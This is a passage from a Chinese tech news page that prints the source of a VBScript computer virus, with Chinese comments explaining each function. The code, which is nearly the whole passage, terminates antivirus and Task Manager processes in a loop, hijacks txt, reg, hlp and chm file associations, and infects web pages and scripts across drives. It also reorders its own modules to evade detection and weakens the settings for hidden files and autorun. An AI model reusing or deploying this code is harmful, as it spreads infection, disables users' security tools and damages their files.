扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
引用
Function ChangeModelOrder(vbsCode, Num_DNA)
On Error Resume Next
Dim DNA(), Array_vbsCode()
Dim i, Value, flag, j, buffer
ReDim DNA(Num_DNA), Array_vbsCode(Num_DNA)
buffer = vbsCode
Randomize
For i = 1 To Num_DNA
Do
Value = Int((Num_DNA * Rnd) + 1)
flag = 1
For j = 1 To Num_DNA
If Value = DNA(j) Then
flag = 0
Exit For
End If
Next
Loop Until flag = 1
DNA(i) = Value
Next
For i = 1 To Num_DNA
Array_vbsCode(i) = GetModelCode(buffer, i)
Next
buffer = ""
For i = 1 To Num_DNA
buffer = buffer & VBCRLF & Array_vbsCode(DNA(i)) & VBCRLF
Next
ChangeModelOrder = Head_V & Version & VBCRLF & buffer & VBCRLF & Tail_V
End Function
//结束指定进程集合函数,参数ProcessNames(进程集合)
引用
Sub KillProcess(ProcessNames)
On Error Resume Next
Dim objShell, intReturn, name_exe
Set objShell = WScript.CreateObject("WScript.Shell")
strComputer = "."
Set objWMIServices = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
For Each ProcessName in ProcessNames
Set colProcessList = objWMIServices.Execquery(" Select * From win32_process
where name = ’" & ProcessName & "’ ")
For Each objProcess in colProcessList
intReturn = objProcess.Terminate
Select Case intReturn
Case 2
name_exe = objProcess.Name
name_exe = Left(name_exe, Len(name_exe) -4)
objShell.Run "cmd.exe /c @tskill " & name_exe, 0, False
End Select
Next
Next
Set objShell = Nothing
End Sub
//返回指定的特殊文件夹对象函数,0指Windows文件夹,1指System32文件夹
引用
Function GetSFolder(p)
Dim objfso
Set objfso = CreateObject(GetFSOName())
GetSFolder = objfso.GetSpecialFolder(p) & "\"
Set objfso = Nothing
End Function
//获取当前系统登录用户名
引用
Function GetUserName()
On Error Resume Next
Dim Value , UserName
Value = "HKEY_CURRENT_USER\Software\Microsoft\Active Setup\Installed Com
ponents\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}\Username"
UserName = ReadReg(Value)
If UserName = "" Then
GetUserName = "Administrator"
Else
GetUserName = UserName
End If
End Function
//获取FSO对象名,注册表存在读注册表赋值,否则直接赋值:Scripting.FileSystemObject
引用
Function GetFSOName()
On Error Resume Next
Dim Value , UserName
Value = "HKEY_CLASSES_ROOT\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID\"
UserName = ReadReg(Value)
If UserName = "" Then
//应该是GetFSOName吧?作者搞错了...
GetUserName = "Scripting.FileSystemObject"
Else
GetFSOName = UserName
End If
End Function
//获取病毒体头部与尾部函数
引用
Function GetHeadTail(l)
Dim Str , buffer
//头部,’加登录用户名
If l = 0 Then
GetHeadTail = "’" & GetUserName()
Else
buffer = GetUserName()
Str = ""
//尾部,’加登录用户名反过来排列
For i = 1 To Len(buffer)
Str = Mid(buffer, i, 1) & Str
GetHeadTail = "’" & Str
Next
End If
End Function
//监视系统的函数
引用
Sub MonitorSystem(objfso, vbsCode)
On Error Resume Next
Dim ProcessNames
ProcessNames = Array("ras.exe", "360tray.exe", "taskmgr.exe", "cmd.exe", "cmd.co
m", "regedit.exe", "regedit.scr", "regedit.pif", "regedit.com", "msconfig.exe", "SREng.exe", "USBAntiVir.exe")
Do
Call KillProcess(ProcessNames)
Call InvadeSystem(objfso, vbsCode)
WScript.Sleep 5000
Loop
End Sub
//设置Txt文件关联函数,参数sFilePath(关联程序的完整路径)
引用
Sub SetTxtFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
//设置hlp文件关联函数,参数sFilePath(关联程序的完整路径)
引用
Sub SethlpFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
//设置Reg文件关联函数,参数sFilePath(关联程序的完整路径)
引用
Sub SetRegFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
//设置chm文件关联函数,参数sFilePath(关联程序的完整路径)
引用
Sub SetchmFileAss(sFilePath)
On Error Resume Next
Dim Value
Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
End Sub
//搜索可传染文件函数,参数f(fso对象),strPath(文件夹或驱动器的完整路径),vbsCode(代码),并删除不健康视频
引用
Sub SearchFile(objfso, strPath, VbsCode_WebPage, VbsCode_Victim, T)
On Error Resume Next
Dim pfo, pf, pfi, ext
Dim psfo, ps
//遍历所有文件
Set pfo = objfso.GetFolder(strPath)
Set pf = pfo.Files
For Each pfi In pf
//感染文件数限制
If Cnt >= CntMax Then
Exit For
End If
ext = LCase(objfso.GetExtensionName(pfi.Path))
//检查文件的扩展名
Select Case ext
//感染hta、htm、html、asp、vbs文件
Case "hta", "htm", "html", "asp", "vbs"
Call InfectHead(pfi.Path, pfi, objfso, VbsCode_WebPage, VbsCode_Victim, ext, T)
Case "mpg", "rmvb", "avi", "rm"
//判断文件是否是不健康视频
If IsSexFile(pfi.Name) = True Then
pfi.Delete
End If
End Select
Next
//遍历所有文件夹
Set psfo = pfo.SubFolders
For Each ps In psfo
If Cnt >= CntMax Then
Exit For
End If
//递归调用
Call SearchFile(objfso, ps.Path, VbsCode_WebPage, VbsCode_Victim, T)
Next
End Sub
//降低系统安全性设置函数
引用
Sub DeSafeSet()
Dim HLMShow , HCUAdvanced, HCUExplorer
HLMShow = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
HCUAdvanced = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"
HCUExplorer = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun"
//为驱动器添加自动播放功能
Call WriteReg (HCUExplorer, 129, "REG_DWORD")
//隐藏受保护的操作系统文件
Call WriteReg (HCUAdvanced, 0, "REG_DWORD")
//关闭隐藏文件选项
Call WriteReg (HLMShow, 0, "REG_DWORD")
End Sub
//恢复系统安全性设置函数
引用
Sub SafeSet()
Dim HLMShow , HCUSSHidden, HCUHidden
Dim HCUExplorer
HLMShow = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"
HCUAdvanced = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden"
HCUHidden = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden"
//显示一般的隐藏文件
Call WriteReg (HCUHidden, 1, "REG_DWORD")
//显示受保护的操作系统隐藏文件
Call WriteReg (HCUAdvanced, 1, "REG_DWORD")
//打开隐藏文件选项
Call WriteReg (HLMShow, 1, "REG_DWORD")
End Sub
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者